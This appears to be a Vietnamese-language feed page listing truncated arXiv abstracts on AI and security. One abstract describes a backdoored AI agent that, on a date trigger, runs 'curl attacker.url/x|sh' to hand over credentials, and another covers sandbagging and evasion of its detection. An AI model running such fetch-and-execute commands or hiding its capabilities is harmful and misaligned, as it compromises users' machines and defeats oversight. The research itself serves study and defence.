cập nhật 35 phút trước

⏱ Độ trễ thật của tab này: trung bình 7.1 giờ sau khi CVE được công bố (n = 5340, sớm nhất 0.1 giờ). Số âm nghĩa là ta thấy trước ngày công bố.

28
What a CAGE 4 Score Measures: An Audit of a Learned Cyber-Defense Benchmark, Its Reference Defenders, and the Tables Built on Them
📄 Paper arXiv cs.CR 5 ngày trước

arXiv:2611.14068v1 Announce Type: new Abstract: CAGE Challenge 4 is the benchmark on which learned multi-agent cyber defenders are compared. We reproduce its two reference defenders, KEEP and H-MARL Expert, in a pinned container and show that three things read from it measure le…

🅲 hạng C
25
Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents
📄 Paper arXiv cs.CR 3 ngày trước

arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with p…

🅲 hạng C
👁 Trúng danh sách theo dõi: actor:lazarus
24
When Is Proof-Step Verification Worth Its Cost? Operating Requirements of Certify-or-Decline Verification for Open-Weight Mathematical Reasoning
📄 Paper arXiv cs.AI 3 ngày trước

arXiv:2611.14794v1 Announce Type: new Abstract: Proof-step verification rewrites a solver's answer into typed steps and uses LLM judges to certify or decline. We evaluate this pipeline on open-weight models across GPQA, AIME-2025, and a MATH-500 subset. Certification raises answ…

🅲 hạng C
24
AutoAssumption: Searching over Assumptions Discovers ML-Systems Algorithms
📄 Paper arXiv cs.AI 3 ngày trước

arXiv:2611.14844v1 Announce Type: new Abstract: Many advances in ML systems came from breaking an assumption that earlier methods took for granted: speculative decoding dropped the assumption that a model needs one forward pass per token. Yet algorithms rarely state their assump…

🅲 hạng C
24
Look Here, Then Decide: Small Decision Models in a Harness Find Memory-Safety Vulnerabilities at Scale on Commodity GPUs
📄 Paper arXiv cs.CR 3 ngày trước

arXiv:2611.16565v1 Announce Type: new Abstract: We ask whether small, open-weight decision models can support vulnerability discovery in open-source software at scale and what the surrounding system must provide. These models answer a typed question in one forward pass, returnin…

🅲 hạng C
21
Effective Teacher Support for Reasoning Distillation
📄 Paper arXiv cs.AI 3 ngày trước

arXiv:2611.14850v1 Announce Type: new Abstract: Forward-KL language-model distillation normally computes dense teacher and student scores over the full vocabulary at every supervised position, making training and stored teacher targets expensive. We instead distill from the teac…

🅲 hạng C
21
Stress-Testing Sandbagging Detection Under Adaptive Attack
📄 Paper arXiv cs.CR 3 ngày trước

arXiv:2611.14950v1 Announce Type: new Abstract: Developers, auditors and researchers read evaluation scores as evidence of what a model can do. A model that sandbags, scoring low on purpose while keeping the capability, turns a low score into false reassurance. Sandbagging detec…

🅲 hạng C
20
Sable: A Small-Field Sumcheck Argument for Bit-Exact Inference of Large Language Models
📄 Paper arXiv cs.CR 5 ngày trước cũng có trên: HF Daily Papers

arXiv:2611.14083v1 Announce Type: new Abstract: We present Sable, an argument system and single-GPU prover for the statement that a committed, integer-quantized transformer produced a given token sequence from a given prompt, bit for bit. Sable fixes an integer function F_O with…

🅲 hạng C
20
Reinforcement Learning based control of Cancer Chemotherapy treatments
📄 Paper arXiv cs.AI 5 ngày trước

arXiv:2611.12940v1 Announce Type: new Abstract: Reinforcement Learning has achieved tremendous success in recent years. Extending its scope from the traditional complex games such as Atari, Go, Pokeman, and Chess, reinforcement learning has caught researchers' attention on model…

🅲 hạng C
20
ZeroPoint: Lightweight Energy-Based Decision Model
📄 Paper arXiv cs.AI 5 ngày trước

arXiv:2611.12992v1 Announce Type: new Abstract: Energy-based models (EBMs) assign a scalar energy to every joint value of the observed and predicted variables. In decision models, the prediction is chosen from a finite list of options provided with each input. Inference then red…

🅲 hạng C
20
Building World Models from Intrinsic Motivation
📄 Paper arXiv cs.AI 5 ngày trước

arXiv:2611.13113v1 Announce Type: new Abstract: In the absence of extrinsic rewards or task supervision, human behavior is guided by intrinsic motivation---neural signals that drive curiosity, creativity, play, and other essential facets of intelligence. Intrinsic motivation pla…

🅲 hạng C
20
Counting Under Disagreement: Dollar-Weighted Measurement, Selective Machine Labelling and Budgeted Human Review from Disagreeing AI Readers of Administrative Text
📄 Paper arXiv cs.AI 5 ngày trước

arXiv:2611.13215v1 Announce Type: new Abstract: We study AI-assisted measurement when one text label applies to many administrative records, the target is a monetary total, and the human readings that anchor the machines disagree. The testbed is 121,070 grant-purpose texts from …

🅲 hạng C
20
Gradient Inversion through Linear and Affine Subspace Constraints
📄 Paper arXiv cs.CR 5 ngày trước

arXiv:2611.13976v1 Announce Type: new Abstract: Federated learning enables multiple clients to collaboratively train a machine-learning model without directly sharing their local datasets. However, as prior works have shown, the gradients exchanged during training may reveal sen…

🅲 hạng C
20
Is Recursive Self-Improvement Safe?
📄 Paper arXiv cs.AI 6 ngày trước

arXiv:2611.10261v1 Announce Type: new Abstract: The phrase recursive self-improvement (RSI) refers to the idea of an AI system designing and creating another, better AI system, which in turn designs and creates an even better one, and so on. While the idea has a long history, it…

🅲 hạng C
20
A Topological Encoder Decoder Framework for Temporal Graph Learning
📄 Paper arXiv cs.AI 6 ngày trước

arXiv:2611.10385v1 Announce Type: new Abstract: Most temporal graph learning methods reduce future prediction to discriminative inference over past interactions, focusing on edges or node labels for a largely persistent set of nodes. This view breaks down when new nodes and edge…

🅲 hạng C